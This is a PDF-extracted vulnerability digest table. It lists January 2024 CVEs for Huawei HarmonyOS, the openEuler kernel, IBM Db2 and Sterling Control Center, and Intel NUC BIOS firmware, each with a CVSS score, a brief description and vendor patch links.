N/A	16-Jan-2024	7.5	Data confidentiality vulnerability in the ScreenReader module. Successful exploitation of this vulnerability may affect service integrity. **CVE ID : CVE-2023-52114**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2728
Incorrect Permission Assignment for Critical Resource	16-Jan-2024	7.5	Permission management vulnerability in the multi-screen interaction module. Successful exploitation of this vulnerability may cause service exceptions of the device. **CVE ID : CVE-2023-52116**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2729
N/A	16-Jan-2024	7.5	Vulnerability of foreground service restrictions being	https://consumer.huawei.com/en/support/bul	O-HUA-HARM-090224/2730

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			bypassed in the NMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52099**	letin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	
N/A	16-Jan-2024	7.5	Vulnerability of parameters being not verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52102**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2731
N/A	16-Jan-2024	7.5	Vulnerability of parameters being not verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52104**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2732
Files or Directories Accessible to External Parties	16-Jan-2024	5.3	Unauthorized file access vulnerability in the wallpaper service module. Successful exploitation of this vulnerability may cause features to	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-	O-HUA-HARM-090224/2733

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			perform abnormally. **CVE ID : CVE-2023-52112**	000000179992 5977	
Affected Version(s): 3.1.0					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	16-Jan-2024	9.8	Buffer overflow vulnerability in the FLP module. Successful exploitation of this vulnerability may cause out-of-bounds read. **CVE ID : CVE-2023-52103**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://https//device.harmonyos.com/en/docs/security/update/security-bulletins-202401-000000179992 5977	O-HUA-HARM-090224/2734
N/A	16-Jan-2024	9.1	Component exposure vulnerability in the Wi-Fi module. Successful exploitation of this vulnerability may affect service availability and integrity. **CVE ID : CVE-2023-52101**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-000000179992 5977	O-HUA-HARM-090224/2735
Out-of-bounds Read	16-Jan-2024	7.5	Out-of-bounds access vulnerability in the device authentication module. Successful exploitation of this vulnerability may affect confidentiality.	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-000000179992 5977	O-HUA-HARM-090224/2736

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-44112		
N/A	16-Jan-2024	7.5	Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-44117**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2737
N/A	16-Jan-2024	7.5	Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-4566**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2738
N/A	16-Jan-2024	7.5	Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52109**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2739
Incorrect Authorization	16-Jan-2024	7.5	Authorization vulnerability in the BootLoader module. Successful	https://consumer.huawei.com/en/support/bulletin/2024/1/,	O-HUA-HARM-090224/2740

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exploitation of this vulnerability may affect service integrity. **CVE ID : CVE-2023-52111**	https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	
N/A	16-Jan-2024	7.5	launchAnyWhere vulnerability in the ActivityManagerService module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52113**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2741
Uncontrolled Resource Consumption	16-Jan-2024	7.5	Denial of Service (DoS) vulnerability in the DMS module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52098**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2742
Incorrect Permission Assignment for Critical Resource	16-Jan-2024	7.5	Vulnerability of permissions being not strictly verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality.	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-	O-HUA-HARM-090224/2743

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-52107	0000001799925977	
N/A	16-Jan-2024	7.5	Vulnerability of process priorities being raised in the ActivityManagerService module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52108**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2744
N/A	16-Jan-2024	7.5	Data confidentiality vulnerability in the ScreenReader module. Successful exploitation of this vulnerability may affect service integrity. **CVE ID : CVE-2023-52114**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2745
Incorrect Permission Assignment for Critical Resource	16-Jan-2024	7.5	Permission management vulnerability in the multi-screen interaction module. Successful exploitation of this vulnerability may cause service exceptions of the device. **CVE ID : CVE-2023-52116**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2746
N/A	16-Jan-2024	7.5	Vulnerability of foreground service restrictions being	https://consumer.huawei.com/en/support/bul	O-HUA-HARM-090224/2747

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			bypassed in the NMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52099**	letin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	
N/A	16-Jan-2024	7.5	Vulnerability of parameters being not verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52102**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2748
N/A	16-Jan-2024	7.5	Vulnerability of parameters being not verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52104**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2749
Files or Directories Accessible to External Parties	16-Jan-2024	5.3	Unauthorized file access vulnerability in the wallpaper service module. Successful exploitation of this vulnerability may cause features to	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-	O-HUA-HARM-090224/2750

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			perform abnormally. **CVE ID : CVE-2023-52112**	000000179992 5977	
Affected Version(s): 4.0.0					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	16-Jan-2024	9.8	Buffer overflow vulnerability in the FLP module. Successful exploitation of this vulnerability may cause out-of-bounds read. **CVE ID : CVE-2023-52103**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://https//device.harmonyos.com/en/docs/security/update/security-bulletins-202401-000000179992 5977	O-HUA-HARM-090224/2751
N/A	16-Jan-2024	9.1	Component exposure vulnerability in the Wi-Fi module. Successful exploitation of this vulnerability may affect service availability and integrity. **CVE ID : CVE-2023-52101**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-000000179992 5977	O-HUA-HARM-090224/2752
N/A	16-Jan-2024	9.1	The DownloadProvider Main module has a vulnerability in API permission verification. Successful exploitation of this vulnerability may affect integrity and availability.	https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-000000179992 5977	O-HUA-HARM-090224/2753

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-52106		
Out-of-bounds Read	16-Jan-2024	7.5	Out-of-bounds access vulnerability in the device authentication module. Successful exploitation of this vulnerability may affect confidentiality. **CVE ID : CVE-2023-44112**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2754
N/A	16-Jan-2024	7.5	Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-44117**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2755
N/A	16-Jan-2024	7.5	Vulnerability of trust relationships being inaccurate in distributed scenarios. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-4566**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2756
N/A	16-Jan-2024	7.5	Vulnerability of trust relationships being inaccurate in distributed	https://consumer.huawei.com/en/support/bulletin/2024/1/,	O-HUA-HARM-090224/2757

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			scenarios. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52109**	https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	
Out-of-bounds Write	16-Jan-2024	7.5	The sensor module has an out-of-bounds access vulnerability.Successful exploitation of this vulnerability may affect availability. **CVE ID : CVE-2023-52110**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2758
Incorrect Authorization	16-Jan-2024	7.5	Authorization vulnerability in the BootLoader module. Successful exploitation of this vulnerability may affect service integrity. **CVE ID : CVE-2023-52111**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2759
N/A	16-Jan-2024	7.5	launchAnyWhere vulnerability in the ActivityManagerService module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52113**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-	O-HUA-HARM-090224/2760

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
				000000179992 5977	
Uncontrolled Resource Consumption	16-Jan-2024	7.5	Denial of Service (DoS) vulnerability in the DMS module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52098**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-000000179992 5977	O-HUA-HARM-090224/2761
Incorrect Permission Assignment for Critical Resource	16-Jan-2024	7.5	Vulnerability of permissions being not strictly verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52107**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-000000179992 5977	O-HUA-HARM-090224/2762
N/A	16-Jan-2024	7.5	Vulnerability of process priorities being raised in the ActivityManagerService module. Successful exploitation of this vulnerability will affect availability. **CVE ID : CVE-2023-52108**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-000000179992 5977	O-HUA-HARM-090224/2763
N/A	16-Jan-2024	7.5	Data confidentiality vulnerability in the ScreenReader module. Successful	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.h	O-HUA-HARM-090224/2764

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exploitation of this vulnerability may affect service integrity. **CVE ID : CVE-2023-52114**	armonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	
Use After Free	16-Jan-2024	7.5	The iaware module has a Use-After-Free (UAF) vulnerability. Successful exploitation of this vulnerability may affect the system functions. **CVE ID : CVE-2023-52115**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2765
Incorrect Permission Assignment for Critical Resource	16-Jan-2024	7.5	Permission management vulnerability in the multi-screen interaction module. Successful exploitation of this vulnerability may cause service exceptions of the device. **CVE ID : CVE-2023-52116**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2766
N/A	16-Jan-2024	7.5	Vulnerability of foreground service restrictions being bypassed in the NMS module. Successful exploitation of this vulnerability may affect service confidentiality.	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-	O-HUA-HARM-090224/2767

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-52099	0000001799925977	
N/A	16-Jan-2024	7.5	The Celia Keyboard module has a vulnerability in access control. Successful exploitation of this vulnerability may affect availability. **CVE ID : CVE-2023-52100**	https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2768
N/A	16-Jan-2024	7.5	Vulnerability of parameters being not verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52102**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2769
N/A	16-Jan-2024	7.5	Vulnerability of parameters being not verified in the WMS module. Successful exploitation of this vulnerability may affect service confidentiality. **CVE ID : CVE-2023-52104**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2770
Improper Privilege Management	16-Jan-2024	7.5	The nearby module has a privilege escalation vulnerability. Successful exploitation of this	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/	O-HUA-HARM-090224/2771

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability may affect availability. **CVE ID : CVE-2023-52105**	en/docs/security/update/security-bulletins-202401-0000001799925977	
Files or Directories Accessible to External Parties	16-Jan-2024	5.3	Unauthorized file access vulnerability in the wallpaper service module. Successful exploitation of this vulnerability may cause features to perform abnormally. **CVE ID : CVE-2023-52112**	https://consumer.huawei.com/en/support/bulletin/2024/1/, https://device.harmonyos.com/en/docs/security/update/security-bulletins-202401-0000001799925977	O-HUA-HARM-090224/2772
Product: openeuler					
Affected Version(s): From (including) 4.19.90 Up to (excluding) 4.19.90-2401.3					
Integer Overflow or Wraparound	18-Jan-2024	7.8	Integer Overflow or Wraparound vulnerability in openEuler kernel on Linux (filesystem modules) allows Forced Integer Overflow.This issue affects openEuler kernel: from 4.19.90 before 4.19.90-2401.3, from 5.10.0-60.18.0 before 5.10.0-183.0.0. **CVE ID : CVE-2021-33631**	https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5c099c4fdc438014d5893629e70a8ba934433ee8, https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2024-1030	O-HUA-OPEN-090224/2773

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
NULL Pointer Dereference	18-Jan-2024	5.5	NULL Pointer Dereference vulnerability in openEuler kernel on Linux (network modules) allows Pointer Manipulation. This vulnerability is associated with program files net/sched/sch_cbs.C. This issue affects openEuler kernel: from 4.19.90 before 4.19.90-2401.3. **CVE ID : CVE-2021-33630**	https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2024-1030, https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2024-1031	O-HUA-OPEN-090224/2774
Affected Version(s): From (including) 5.10.0-60.18.0 Up to (excluding) 5.10.0-183.0.0					
Integer Overflow or Wraparound	18-Jan-2024	7.8	Integer Overflow or Wraparound vulnerability in openEuler kernel on Linux (filesystem modules) allows Forced Integer Overflow.This issue affects openEuler kernel: from 4.19.90 before 4.19.90-2401.3, from 5.10.0-60.18.0 before 5.10.0-183.0.0.	https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5c099c4fdc438014d5893629e70a8ba934433ee8, https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2024-1030	O-HUA-OPEN-090224/2775

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2021-33631		
Vendor: IBM					
Product: aix					
Affected Version(s): -					
N/A	22-Jan-2024	7.5	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 federated server is vulnerable to a denial of service when a specially crafted cursor is used. IBM X-Force ID: 268759. **CVE ID : CVE-2023-45193**	https://exchange.xforce.ibmcloud.com/vulnerabilities/268759, https://www.ibm.com/support/pages/node/7105501	O-IBM-AIX-090224/2776
N/A	22-Jan-2024	7.5	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 is vulnerable to an insecure cryptographic algorithm and to information disclosure in stack trace under exceptional conditions. IBM X-Force ID: 270730. **CVE ID : CVE-2023-47152**	https://exchange.xforce.ibmcloud.com/vulnerabilities/270730, https://www.ibm.com/support/pages/node/7105605	O-IBM-AIX-090224/2777
N/A	22-Jan-2024	6.5	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server)	https://exchange.xforce.ibmcloud.com/vulnerabilities/272644,	O-IBM-AIX-090224/2778

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			10.5, 11.1, and 11.5 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272644. **CVE ID : CVE-2023-47746**	https://www.ibm.com/support/pages/node/7105505	
N/A	22-Jan-2024	6.5	IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) 11.5 under certain circumstances could allow an authenticated user to the database to cause a denial of service when a statement is run on columnar tables. IBM X-Force ID: 273393. **CVE ID : CVE-2023-50308**	https://exchange.xforce.ibmcloud.com/vulnerabilities/273393, https://www.ibm.com/support/pages/node/7105506	O-IBM-AIX-090224/2779
N/A	22-Jan-2024	6.5	IBM Db2 10.1, 10.5, and 11.1 could allow a remote user to execute arbitrary code caused by installing like named jar files across multiple databases. A user could exploit this by installing a malicious jar file that overwrites the	https://exchange.xforce.ibmcloud.com/vulnerabilities/249205, https://www.ibm.com/support/pages/node/7105503	O-IBM-AIX-090224/2780

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			existing like named jar file in another database. IBM X-Force ID: 249205. **CVE ID : CVE-2023-27859**		
N/A	22-Jan-2024	6.5	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 270750. **CVE ID : CVE-2023-47158**	https://exchange.xforce.ibmcloud.com/vulnerabilities/270750, https://www.ibm.com/support/pages/node/7105496	O-IBM-AIX-090224/2781
N/A	22-Jan-2024	6.5	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272646. **CVE ID : CVE-2023-47747**	https://exchange.xforce.ibmcloud.com/vulnerabilities/272646, https://www.ibm.com/support/pages/node/7105502	O-IBM-AIX-090224/2782
N/A	22-Jan-2024	6.5	IIBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server)	https://exchange.xforce.ibmcloud.com/vulnerabilities/270264,	O-IBM-AIX-090224/2783

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			11.5 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 270264. **CVE ID : CVE-2023-47141**	https://www.ibm.com/support/pages/node/7105497	
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	19-Jan-2024	5.3	IBM Sterling Control Center 6.3.0 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (/../) to view arbitrary files on the system. IBM X-Force ID: 257874. **CVE ID : CVE-2023-35020**	https://exchange.xforce.ibmcloud.com/vulnerabilities/257874, https://www.ibm.com/support/pages/node/7107788	O-IBM-AIX-090224/2784
Product: linux_on_ibm_z					
Affected Version(s): -					
N/A	22-Jan-2024	7.5	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 federated server is vulnerable to a denial of service when a specially crafted cursor is	https://exchange.xforce.ibmcloud.com/vulnerabilities/268759, https://www.ibm.com/support/pages/node/7105501	O-IBM-LINU-090224/2785

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			used. IBM X-Force ID: 268759. **CVE ID : CVE-2023-45193**		
N/A	22-Jan-2024	7.5	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 is vulnerable to an insecure cryptographic algorithm and to information disclosure in stack trace under exceptional conditions. IBM X-Force ID: 270730. **CVE ID : CVE-2023-47152**	https://exchange.xforce.ibmcloud.com/vulnerabilities/270730, https://www.ibm.com/support/pages/node/7105605	O-IBM-LINU-090224/2786
N/A	22-Jan-2024	6.5	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272644. **CVE ID : CVE-2023-47746**	https://exchange.xforce.ibmcloud.com/vulnerabilities/272644, https://www.ibm.com/support/pages/node/7105505	O-IBM-LINU-090224/2787
N/A	22-Jan-2024	6.5	IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) 11.5 under certain circumstances	https://exchange.xforce.ibmcloud.com/vulnerabilities/273393, https://www.ibm.com/support	O-IBM-LINU-090224/2788

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could allow an authenticated user to the database to cause a denial of service when a statement is run on columnar tables. IBM X-Force ID: 273393. **CVE ID : CVE-2023-50308**	/pages/node/7105506	
N/A	22-Jan-2024	6.5	IBM Db2 10.1, 10.5, and 11.1 could allow a remote user to execute arbitrary code caused by installing like named jar files across multiple databases. A user could exploit this by installing a malicious jar file that overwrites the existing like named jar file in another database. IBM X-Force ID: 249205. **CVE ID : CVE-2023-27859**	https://exchange.xforce.ibmcloud.com/vulnerabilities/249205, https://www.ibm.com/support/pages/node/7105503	O-IBM-LINU-090224/2789
N/A	22-Jan-2024	6.5	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM	https://exchange.xforce.ibmcloud.com/vulnerabilities/270750, https://www.ibm.com/support/pages/node/7105496	O-IBM-LINU-090224/2790

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			X-Force ID: 270750. **CVE ID : CVE-2023-47158**		
N/A	22-Jan-2024	6.5	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272646. **CVE ID : CVE-2023-47747**	https://exchange.xforce.ibmcloud.com/vulnerabilities/272646, https://www.ibm.com/support/pages/node/7105502	O-IBM-LINU-090224/2791
N/A	22-Jan-2024	6.5	IIBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 270264. **CVE ID : CVE-2023-47141**	https://exchange.xforce.ibmcloud.com/vulnerabilities/270264, https://www.ibm.com/support/pages/node/7105497	O-IBM-LINU-090224/2792
Improper Limitation of a Pathname to a Restricted Directory	19-Jan-2024	5.3	IBM Sterling Control Center 6.3.0 could allow a remote attacker to traverse directories on the system. An attacker	https://exchange.xforce.ibmcloud.com/vulnerabilities/257874, https://www.ibm.com/support	O-IBM-LINU-090224/2793

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Path Traversal')			could send a specially crafted URL request containing "dot dot" sequences (/../) to view arbitrary files on the system. IBM X-Force ID: 257874. **CVE ID : CVE-2023-35020**	/pages/node/7107788	
Vendor: Intel					
Product: nuc_7_essential_nuc7cjysamn_firmware					
Affected Version(s): jyglkcpx.0071					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version JY0070 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28738**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	O-INT-NUC_-090224/2794
N/A	19-Jan-2024	7.8	Improper buffer restrictions in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-42429**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2795
Product: nuc_7_essential_pc_nuc7cjysal_firmware					
Affected Version(s): jyglkcpx.0071					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	19-Jan-2024	7.8	Improper buffer restrictions in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-42429**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2796
Product: nuc_8_compute_element_cm8v5cb_firmware					
Affected Version(s): cbwhlmiv.103					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC 8 Compute Element BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-42766**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2797
Product: nuc_8_compute_element_cm8v7cb_firmware					
Affected Version(s): cbwhlmiv.103					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC 8 Compute Element BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-42766**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2798
Product: nuc_8_enthusiast_nuc8i7behga_firmware					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): becfl357.0095					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2799
Product: nuc_8_enthusiast_nuc8i7bekqa_firmware					
Affected Version(s): becfl357.0095					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2800
Product: nuc_8_home_nuc8i3behfa_firmware					
Affected Version(s): becfl357.0095					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2801
Product: nuc_8_home_nuc8i5behfa_firmware					
Affected Version(s): becfl357.0095					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2802
Product: nuc_8_home_nuc8i5bekpa_firmware					
Affected Version(s): becfl357.0095					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	O-INT-NUC_-090224/2803
Product: nuc_8_mainstream-g_kit_nuc8i5inh_firmware					
